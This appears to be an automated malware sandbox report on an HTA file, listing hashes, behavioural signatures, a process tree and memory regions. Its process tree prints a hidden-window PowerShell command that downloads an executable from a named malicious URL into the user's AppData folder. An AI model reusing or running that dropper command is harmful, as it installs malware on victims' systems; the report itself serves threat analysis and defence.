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Analysis

  • max time kernel
    432s
  • max time network
    434s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/01/2025, 22:15

General

  • Target

    myguy.hta

  • Size

    13KB

  • MD5

    0487382a4daf8eb9660f1c67e30f8b25

  • SHA1

    736752744122a0b5ee4b95ddad634dd225dc0f73

  • SHA256

    ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6

  • SHA512

    e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106

  • SSDEEP

    192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://french-cooking.com/myguy.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1540
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\33122.exe');
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2344

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rh1wscwe.fiz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1540-0-0x0000000004420000-0x0000000004440000-memory.dmp

    Filesize

    128KB

  • memory/2344-8-0x00000000057A0000-0x0000000005806000-memory.dmp

    Filesize

    408KB

  • memory/2344-1-0x0000000070CEE000-0x0000000070CEF000-memory.dmp

    Filesize

    4KB

  • memory/2344-4-0x0000000004ED0000-0x00000000054F8000-memory.dmp

    Filesize

    6.2MB

  • memory/2344-5-0x0000000004E50000-0x0000000004E72000-memory.dmp

    Filesize

    136KB

  • memory/2344-7-0x0000000005730000-0x0000000005796000-memory.dmp

    Filesize

    408KB

  • memory/2344-6-0x0000000070CE0000-0x0000000071490000-memory.dmp

    Filesize

    7.7MB

  • memory/2344-2-0x0000000002500000-0x0000000002536000-memory.dmp

    Filesize

    216KB

  • memory/2344-3-0x0000000070CE0000-0x0000000071490000-memory.dmp

    Filesize

    7.7MB

  • memory/2344-18-0x0000000005810000-0x0000000005B64000-memory.dmp

    Filesize

    3.3MB

  • memory/2344-19-0x0000000005E00000-0x0000000005E1E000-memory.dmp

    Filesize

    120KB

  • memory/2344-20-0x0000000005E30000-0x0000000005E7C000-memory.dmp

    Filesize

    304KB

  • memory/2344-21-0x0000000007460000-0x0000000007ADA000-memory.dmp

    Filesize

    6.5MB

  • memory/2344-22-0x0000000006310000-0x000000000632A000-memory.dmp

    Filesize

    104KB

  • memory/2344-25-0x0000000070CE0000-0x0000000071490000-memory.dmp

    Filesize

    7.7MB